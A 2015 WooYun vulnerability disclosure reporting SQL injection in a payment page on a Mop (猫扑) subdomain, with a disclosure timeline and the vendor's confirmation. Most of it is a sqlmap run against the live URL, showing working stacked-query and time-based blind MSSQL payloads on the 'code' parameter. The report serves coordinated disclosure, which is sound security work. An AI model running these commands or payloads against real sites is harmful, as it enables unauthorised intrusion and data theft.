当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110978

漏洞标题:猫扑某分站SQL注入

相关厂商:猫扑

漏洞作者: #6c6c6c

提交时间:2015-04-29 08:05

修复时间:2015-06-13 11:34

公开时间:2015-06-13 11:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-29: 细节已通知厂商并且等待厂商处理中
2015-04-29: 厂商已经确认,细节仅向厂商公开
2015-05-09: 细节向核心白帽子及相关领域专家公开
2015-05-19: 细节向普通白帽子公开
2015-05-29: 细节向实习白帽子公开
2015-06-13: 细节向公众公开

简要描述:

sql

详细说明:

对我公开了,你们却没修复,乌云上面有那么多普通白帽子,好像你们猫扑也是从我们大广西搬出去的!

F:\Python26\sqlmap>sqlmap.py -u "http://yeyou.mop.com/payment/yee_mobile.aspx?co
de=UNICOM"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 00:42:03
[00:42:03] [WARNING] using 'C:\Users\Administrator\.sqlmap\output' as the output
directory
[00:42:03] [INFO] testing connection to the target URL
[00:42:03] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[00:42:05] [INFO] target URL is stable
[00:42:05] [INFO] testing if GET parameter 'code' is dynamic
[00:42:05] [WARNING] GET parameter 'code' does not appear dynamic
[00:42:05] [WARNING] heuristic (basic) test shows that GET parameter 'code' migh
t not be injectable
[00:42:05] [INFO] testing for SQL injection on GET parameter 'code'
[00:42:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:42:05] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:42:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:42:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:42:06] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:42:06] [INFO] testing 'MySQL inline queries'
[00:42:06] [INFO] testing 'PostgreSQL inline queries'
[00:42:06] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[00:42:06] [INFO] testing 'Oracle inline queries'
[00:42:07] [INFO] testing 'SQLite inline queries'
[00:42:07] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:42:07] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:42:07] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:42:18] [INFO] GET parameter 'code' seems to be 'Microsoft SQL Server/Sybase
stacked queries' injectable
[00:42:18] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:42:28] [INFO] GET parameter 'code' seems to be 'Microsoft SQL Server/Sybase
time-based blind' injectable
[00:42:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:42:28] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[00:42:28] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[00:42:29] [INFO] target URL appears to have 6 columns in query
injection not exploitable with NULL values. Do you want to try with a random int
eger value for option '--union-char'? [Y/n] y
[00:42:32] [WARNING] if UNION based SQL injection is not detected, please consid
er forcing the back-end DBMS (e.g. --dbms=mysql)
[00:42:32] [INFO] checking if the injection point on GET parameter 'code' is a f
alse positive
GET parameter 'code' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N] y
sqlmap identified the following injection points with a total of 96 HTTP(s) requ
ests:
---
Place: GET
Parameter: code
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: code=UNICOM'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: code=UNICOM' WAITFOR DELAY '0:0:5'--
---
[00:43:10] [INFO] testing Microsoft SQL Server
[00:43:10] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[00:43:17] [INFO] confirming Microsoft SQL Server
[00:43:27] [INFO] adjusting time delay to 1 second due to good response times
[00:43:29] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, Nginx, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[00:43:29] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 72 times
[00:43:29] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\yeyou.mop.com'
[*] shutting down at 00:43:29

漏洞证明:

该修复了,别偷懒额。

修复方案:

版权声明:转载请注明来源 #6c6c6c@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-04-29 11:32

厂商回复:

非常感谢,我们会尽快修复的。

最新状态:

暂无